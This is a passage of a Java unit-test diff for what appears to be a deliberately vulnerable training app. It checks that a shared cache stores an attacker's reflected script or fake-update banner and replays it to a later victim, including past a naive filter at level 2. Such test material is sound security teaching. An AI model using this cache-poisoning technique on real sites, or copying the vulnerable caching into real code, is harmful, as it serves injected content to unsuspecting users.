level1ShouldEmitSharedOnlyCacheControlWhenBrowserCacheDisabled() { + ResponseEntity> response = + cachePoisoningVulnerability.getVulnerablePayloadLevel1( + null, false, createLevel1Request(null)); + + assertValidResponse(response); + assertThat(response.getHeaders().getCacheControl()) + .isEqualTo(CachePoisoningVulnerability.CACHE_CONTROL_PUBLIC_SHARED_ONLY); + } + + @Test + @DisplayName("Level 1 - Reflected script payload is cached and replayed to the victim") + void level1ShouldCacheReflectedScriptPayloadForVictim() { + ResponseEntity> attackerResponse = + cachePoisoningVulnerability.getVulnerablePayloadLevel1( + XSS_SCRIPT_BANNER, true, createLevel1Request("xss")); + ResponseEntity> victimResponse = + cachePoisoningVulnerability.getVulnerablePayloadLevel1( + null, true, createLevel1Request(null)); + + assertValidResponse(attackerResponse); + assertThat(attackerResponse.getBody().getContent()).contains(XSS_SCRIPT_BANNER); + + assertValidResponse(victimResponse); + assertThat( + victimResponse + .getHeaders() + .getFirst(CachePoisoningVulnerability.CACHE_STATUS_HEADER)) + .isEqualTo(CachePoisoningVulnerability.CACHE_STATUS_HIT); + assertThat(victimResponse.getBody().getContent()).contains(XSS_SCRIPT_BANNER); + } + + @Test + @DisplayName( + "Level 1 - clearCache endpoint clears the shared cache and returns the default response") + void level1ShouldClearCacheWhenRequested() { + ResponseEntity> attackerResponse = + cachePoisoningVulnerability.getVulnerablePayloadLevel1( + ATTACKER_BANNER, true, createLevel1Request("poison")); + ResponseEntity> clearResponse = + cachePoisoningVulnerability.clearCache( + LevelConstants.LEVEL_1, createClearCacheRequest()); + ResponseEntity> victimResponse = + cachePoisoningVulnerability.getVulnerablePayloadLevel1( + null, true, createLevel1Request(null)); + + assertValidResponse(attackerResponse); + assertThat(attackerResponse.getBody().getContent()).contains(ATTACKER_BANNER); + + assertClearCacheResponse(clearResponse, CachePoisoningVulnerability.CACHE_CONTROL_PUBLIC); + assertThat(clearResponse.getBody().getContent()) + .contains(SAFE_BANNER) + .doesNotContain(ATTACKER_BANNER); + + assertValidResponse(victimResponse); + assertThat( + victimResponse + .getHeaders() + .getFirst(CachePoisoningVulnerability.CACHE_STATUS_HEADER)) + .isEqualTo(CachePoisoningVulnerability.CACHE_STATUS_MISS); + assertThat(victimResponse.getBody().getContent()) + .contains(SAFE_BANNER) + .doesNotContain(ATTACKER_BANNER); + } + + @Test + @DisplayName("Level 2 - Naive filtering still allows poisoning with harmless-looking HTML") + void level2ShouldPoisonSharedCacheDespiteNaiveFilter() { + ResponseEntity> attackerResponse = + cachePoisoningVulnerability.getVulnerablePayloadLevel2( + FILTERED_ATTACKER_BANNER, true, createLevelRequest(LEVEL_2_PATH, "poison")); + ResponseEntity> victimResponse = + cachePoisoningVulnerability.getVulnerablePayloadLevel2( + null, true, createLevelRequest(LEVEL_2_PATH, null)); + + assertValidResponse(attackerResponse); + assertThat( + attackerResponse + .getHeaders() + .getFirst(CachePoisoningVulnerability.CACHE_STATUS_HEADER)) + .isEqualTo(CachePoisoningVulnerability.CACHE_STATUS_MISS); + assertThat(attackerResponse.getBody().getContent()) + .contains("ATUALIZACAO URGENTE FAKE") + .doesNotContain("